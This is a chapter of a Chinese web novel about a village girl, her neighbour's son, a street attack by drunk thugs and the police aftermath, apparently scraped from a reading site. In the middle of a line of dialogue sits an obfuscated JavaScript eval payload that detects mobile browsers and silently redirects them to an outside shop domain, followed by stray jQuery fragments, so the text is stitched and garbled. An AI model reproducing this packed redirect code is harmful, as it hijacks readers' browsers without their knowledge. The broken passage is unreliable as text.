“这地方,治安差,为了安全考虑,妈得想办法,安排你转学回去!”
韩燕慌张出门,顾不上穿大衣,惊惶受冻,脸无血色,唇亦发白,紧紧抓住儿子胳膊,哽咽说:“今天出了这样的恶劣事件,叫我怎么放心你继续待在采屏县呢?”
“妈,意外而已。”秦朗耐着性子,“转学不是儿戏,频繁换学校,我学习会跟不上的。”
韩燕急躁摇头,“跟人身安全相比,学习不重要!”
秦朗余光扫了扫,望见艾荔荔白皙修长的后颈,明明看不见脸,却能猜测到她在紧张关注,坚定告诉母亲:“我刚刚适应了采屏县的教育模式,不想临时更换环境。妈,擦擦眼泪,警察来啦,看大家笑话你胆儿小。”
“胆子大的容易闯祸!平安健康才宝贵。”话虽如此,韩燕匆匆擦干泪水,整理仪容。
艾荔荔听完,不由自主,悄悄松了口气,暗忖:你们原计划待一年,半途而废确实、确实……蛮可惜。
这时,老艾和钱斌迅速收拾了一番,彻底隐藏杀气腾腾的一面,换上了老实怯懦的神态。
老艾蹒跚走向邻居,表达感激与歉意,“韩老师,这件事,是我们家连累了你们,实在抱歉。”
“咳,唉。”韩燕勉强挤出笑容,“算了,万幸两个孩子没出大事,吓得我够呛。”
老艾对待外人一贯周到客气,“幸亏小朗在场保护,不然,娣娣要被混混欺负惨喽。”他郑重对秦朗说:
“小朗,伯伯欠你一份人情!”
秦朗顿时站不住了,连忙摆手,“您太客气了!我跟荔荔,既是同学,又是邻居,她被欺负,我总不能袖手旁观。”
“小伙子,多亏了你。”老艾第无数次羡慕感慨:假如小朗是我的儿子,立马去世也能瞑目!
艾荔荔靠近父亲,尴尬歉疚,躬身对韩燕说:“老师,对不起,因为我,连累了秦朗同学挨打受伤。”
暮色深深,警车的尖锐警笛声越来越近。
韩燕打量高挑秀美的女学生,心情复杂,怜悯之余,以教师的仁慈胸怀,和蔼宽慰:“好孩子,放心,老师不会糊涂错怪无辜,这件事,你受到了很大的伤害。”她细看学生脸颊,叹道:“哟,脸肿了,小姑娘万一破相,得多难受!疼么?”
“不怎么疼。”艾荔荔感激朋友母亲的大度宽容,“秦朗伤得比我严重。”
秦朗告知:“女混混拿啤酒罐砸的她脸。警察到了。”
两辆警车从位于县城另一端的派出所,一口气赶到现场,下来四个民警。
钱斌和老艾对视一眼,异常默契,立刻分头行动,前者大声求救:
“救命!救命啊!这群混混,无法无天,喝完酒寻衅滋事,说要开车撞死我可怜的外甥女。”
而老艾,则一把将女儿推向前,同时大喊:“没天理了!我女儿是未成年学生,好端端骑着自行车回家,被混混打得鼻青脸肿,我60岁的老残废,一生只有一个女儿,如果孩子有个三长两短,等于是要了我和老伴的性命。”
艾荔荔被推到了最前方,展示脸颊的红肿伤痕,尴尬无措。
四个民警站定,携带警棍、记录仪、酒精测试仪等物品,扫视观察现场,为首者声如洪钟,发问:“安静!谁是报警人?”
艾荔荔不禁紧张,举手答:“叔叔,是我。”她一指王锋,“我要举报他酒驾、殴打我和秦朗。”
“秦朗?”
“是我同学。”她朝后一指,“我和他是邻居,上下学同路。”
为首的民警十分威严,凑近审视王锋,指挥下属:“先测酒精。”
两名民警拿着仪器,要求王锋配合吹气测试。
王锋试图蒙混过关,与姐姐一起哭叫求饶:“大哥,求求大哥,放我一马。他们也动手了,用铁锹和擀面杖,殴打我了!”
王珊珊迫不及待告状:“老瘸子是杀人犯,有前科的,他刚才举着铁锹,恶狠狠追杀我弟。”
“而且,他们开车来的,可能、可能也喝酒了。尤其,老瘸子跟疯了一样,发酒疯。”
老艾再度被指出是杀人犯,下意识忐忑望向女儿。
无论如何,女儿岂会不维护父亲?艾荔荔虽然怀有疑虑,却当即反驳:“胡说!我长这么大,从没见过我爸喝酒。”
秦朗亦忍不住开口:“我妈绝对不会酒驾。”
邻居是有前科的杀人犯?!韩燕呆住,愕然睁大眼睛。
“嘿,小杂碎,敢污蔑人?警察同志,我可以用性命担保!”钱斌拍打胸膛,“我妹夫忌讳喝酒,一辈子滴酒不沾,不信叫他吹一口。”
为首的民警皱眉审视全场,严肃道:“酒后驾驶机动车,属于违法行为,谁也别想逃避处罚,必须接受检测!请各位配合我们的工作。”他指挥下属,“都测一遍。”
韩燕和老艾自然配合,顺利过关。
而王锋仍耍赖,始终不肯张嘴,故意拖延时间,妄图让身体代谢掉数小时前饮的酒。
“不配合是吧?立刻带去医院,抽血检测!”
民警简单判断完现场,大手一挥,叮嘱道:“两个学生,各来一位家长,回所里做笔录,其余人散了,尽快散开,别堵塞道路,妨碍公共交通。”
艾荔荔思绪混乱,脑袋发木,听父亲说:“唉,得去派出所做笔录。阿斌,又要麻烦你了,帮忙照顾着二妮。”
“嗐,亲妹妹,不麻烦!”钱斌接过三轮车钥匙,“家里有我在,你尽管安心去办事。”
“我家务活没干完。”保姆吴英上了三轮车,“先回去了。”
老艾安排了一通,抓住女儿的书包带子,一瘸一拐,走向警车。
秦朗欲言又止,本打算邀请邻居父女一同乘坐母亲的车,可望着她乖乖跟随黑瘦父亲的模样,忽然喉咙发堵,说不出话来,默默目送。
冥冥之中,少年隐约意识到了,艾家父女虽然经常意见相左、争吵不休,但亲情深厚,相依为命。
韩燕瞥视愣神的儿子,头疼叹气,催促道:“小朗,上车。”
警车带领双方,返回派出所,进行查问、做笔录,直到深夜时分,才调解完毕。
冬夜里,韩燕驾车,驶向艾家果园,抵达坡下时,老艾坐直了,“到咯,我们在这下车就行,方便调头。”
车灯闪烁,停在荔枝园外。
秦朗主动下车为老人开门,礼节周到,“伯父慢点儿。”
艾荔荔搀扶父亲,脸色苍白,脸颊伤痕淤红,心情说不出是什么滋味,感激道:“谢谢老师送我们回来。调解书的事……更要谢谢您同意签字和解,替我们着想。”
“哪里!”韩燕并未熄火,扶着方向盘,温和说:“小混混的酒驾行为受到了惩罚,也对你和秦朗作出了道歉和赔偿,老师说要起诉,只是吓唬吓唬他们而已,凡事不能太较真,避免把混混逼急了遭到报复。”
老艾再度表达歉意,“没办法,对方也是本地人,不敢得罪狠了。总之,是我们连累了小朗受伤,真是对不住。”
“不用自责。”韩燕面对疑似有过杀人前科的老迈邻居,内心自然忌惮,比以往更客气,“唉,谁也不想发生,幸亏有惊无险。”
老艾诚恳说:“明天我挑几只鸡送去,炖了给小朗补一补。”
“不用不用!”韩燕摆手,“牛高马大的小伙子,受了一点皮肉伤,用不着进补。”
“要的要的,务必收下,明天我一定送去!”
韩燕推辞一番,并趁机提议,“住处偏僻,公交车站台离得远,为了安全起见,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027237|143957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从下周开始,建议让两个孩子坐我的车上下学,冬天忒冷,骑自行车容易着凉。”
两个高中生站在车旁聊天,没留意双方家长的客套交谈。
深夜时分,一阵强劲寒风吹来,四周树木枝叶飒飒作响。
艾荔荔挨着父亲,冷得搓了搓胳膊,身体一侧,书包滑落。
秦朗眼疾手快,伸手帮忙托住书包,顺势挡住寒风,“这风感觉刺骨。”
艾荔荔偏头对视,“等下起雨,才叫可怕,冷飕飕的。”
“天气预报说有霜冻,到时我要拍几张照片,给发小瞅瞅。”
“简单!记得赶在太阳出来之前拍,漫山遍野白茫茫,挺有趣的。”
“那你负责提醒。如果错过了,全赖你。”
她整理书包带子,“知道啦。”
秦朗凝神倾听,皱眉眺望黑漆漆的山林,“这鸟叫声,怪渗人的。”
“噪鹃。”她随口告知:“小时候半夜醒来,能被它吓哭。”
“森林里一天到晚属它最吵!”
……
老艾旁观,悄悄观察女儿与邻居儿子融洽互动,内心异样不安,目光转悠几圈,婉拒道:“怎能麻烦老师呢?娣娣土生土长,从小习惯了,丫头喜欢骑车,刮风下雨也不让我去接。但小朗肯定没吃过苦,让他坐车吧,家里有条件,没必要受罪。”
韩燕听出了拒绝之意,不便勉强,“哈哈,我儿子特皮实,不怕苦。”
秦朗听了半截,“高中生天天两点一线,每天就指望着骑车活动活动筋骨,请勿剥夺。”
艾荔荔见韩燕掩嘴打哈欠,忙道:“很晚了,老师快回家休息吧。”
“哎,好,你们也累了半天,早点休息。”
双方告别,秦朗目送艾家父女上坡:一老一少,一高一矮,一健康一瘸腿,女儿放慢脚步,让父亲先行……连走路,都需要照顾父亲,她实在不容易。
直到母亲发话催促,少年才回神上车。
“又愣什么神?回家。”韩燕调头,敛起笑容,板着脸说:“我现在累得慌,养养精神,再和你谈转学的事。”
少年脱口而出:“妈,甭谈了,我不想离开采屏县。唉,饶了我吧,哪儿有半学期就转一次学的?”
“你——臭小子,明天再聊!”
另一边
老艾一瘸一拐,费劲上了长坡,拍响里面亮着灯的家门,“阿斌?阿斌,开门。”
“来咯!”
艾荔荔站在院子里,盯着自家红漆斑驳脱落的大门,被“吱嘎~”拉开,白胖喜庆的舅舅露出半个身影,招手道:
“娣娣,没吃晚饭,饿坏了吧?舅舅买了泡面,红烧牛肉和香菇鸡肉两种口味,你喜欢哪一种?”
少女两眼无神,沉浸在混乱思考中,顾不上回答,困惑暗忖:我16岁了,除了供奉祖宗遗像的房间之外,自认为熟悉家里一切,细到墙角的老鼠洞、房梁的蜘蛛网,清清楚楚……但却竟然不够了解朝夕相处的父亲和舅舅。
他们究竟具体隐瞒了我哪些事?
在女儿心目中,父亲除了思想封建、严厉固执、罗里吧嗦之外,烟酒赌丝毫不沾,是非常勤劳务实正派的传统家长。
所以,当混混指出老艾“与后妈私通、弑父坐牢”时,可想而知女儿内心的震惊程度。
“娣娣,娣娣?”钱斌纳闷,“发什么呆?饿傻了?”
老艾迈进高高的门槛,瞪视女儿,不悦地说:“哼,丢人现眼的东西,魂被韩老师儿子勾走了?”
“什么勾魂?”钱斌诧异挠挠头。
“唉,丢人!”
老艾站在门内,黑着脸,厉声喝令:“不知羞的丫头,赶紧进屋!爸要认真教教你,关于女孩的矜持和廉耻问题!”